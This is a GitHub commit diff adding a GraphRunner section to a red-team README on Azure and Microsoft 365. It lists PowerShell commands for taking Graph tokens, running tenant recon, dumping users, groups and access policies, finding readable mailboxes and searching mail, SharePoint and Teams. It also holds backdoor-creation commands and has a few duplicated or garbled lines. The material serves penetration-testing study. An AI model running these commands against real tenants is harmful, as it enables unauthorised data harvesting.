-
Notifications
You must be signed in to change notification settings - Fork 243
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #102 from rlfree/rlfree-azure-update
Update README.md
- Loading branch information
Showing
1 changed file
with
55 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -320,7 +320,62 @@ $ Set-Role -Role Contributor -User [email protected] -Resource Win10VMTest | |
# Administrator | ||
$ Create-Backdoor, Execute-Backdoor | ||
``` | ||
### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner) | ||
```powershell | ||
#Get-GraphTokens | ||
#A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens) | ||
Import-Module .\GraphRunner.ps1 | ||
Get-GraphTokens | ||
#Invoke-GraphRecon | ||
#This module gathers information about the tenant including the primary contact info, directory sync settings, and user settings such as if users have the ability to create apps, create groups, or consent to apps. | ||
Invoke-GraphRecon -Tokens $tokens -PermissionEnum | ||
#Invoke-DumpCAPS | ||
#A module to dump conditional access policies from a tenant. | ||
Invoke-GraphRecon -Tokens $tokens -PermissionEnum | ||
#Invoke-DumpCAPS | ||
#A module to dump conditional access policies from a tenant. | ||
Invoke-DumpCAPS -Tokens $tokens -ResolveGuids | ||
#Invoke-DumpApps | ||
#This module helps identify malicious app registrations. It will dump a list of Azure app registrations from the tenant including permission scopes and users that have consented to the apps. Additionally, it will list external apps that are not owned by the current tenant or by Microsoft's main app tenant. This is a good way to find third-party external apps that users may have consented to. | ||
Invoke-DumpApps -Tokens $tokens | ||
#Get-AzureADUsers | ||
#Gather the full list of users from the directory. | ||
Get-AzureADUsers -Tokens $tokens -OutFile users.txt | ||
#Get-SecurityGroups | ||
#Create a list of security groups along with their members. | ||
Get-SecurityGroups -AccessToken $tokens.access_token | ||
G#et-UpdatableGroups | ||
#Gets groups that may be able to be modified by the current user | ||
Get-UpdatableGroups -Tokens $tokens | ||
#Get-DynamicGroups | ||
#Finds dynamic groups and displays membership rules | ||
Get-DynamicGroups -Tokens $tokens | ||
#Get-SharePointSiteURLs | ||
#Gets a list of SharePoint site URLs visible to the current user | ||
Get-SharePointSiteURLs -Tokens $tokens | ||
#Invoke-GraphOpenInboxFinder | ||
#This module attempts to locate mailboxes in a tenant that have allowed other users to read them. By providing a userlist the module will attempt to access the inbox of each user and display if it was successful. The access token needs to be scoped to Mail.Read.Shared or Mail.ReadWrite.Shared for this to work. | ||
Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt | ||
#Get-TenantID | ||
#This module attempts to gather a tenant ID associated with a domain. | ||
Get-TenantID -Domain | ||
#Invoke-GraphRunner | ||
#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams. | ||
Invoke-GraphRunner -Tokens $tokens | ||
``` | ||
{% hint style="success" %} | ||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1).png" alt="" data-size="line">\ | ||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) | ||
|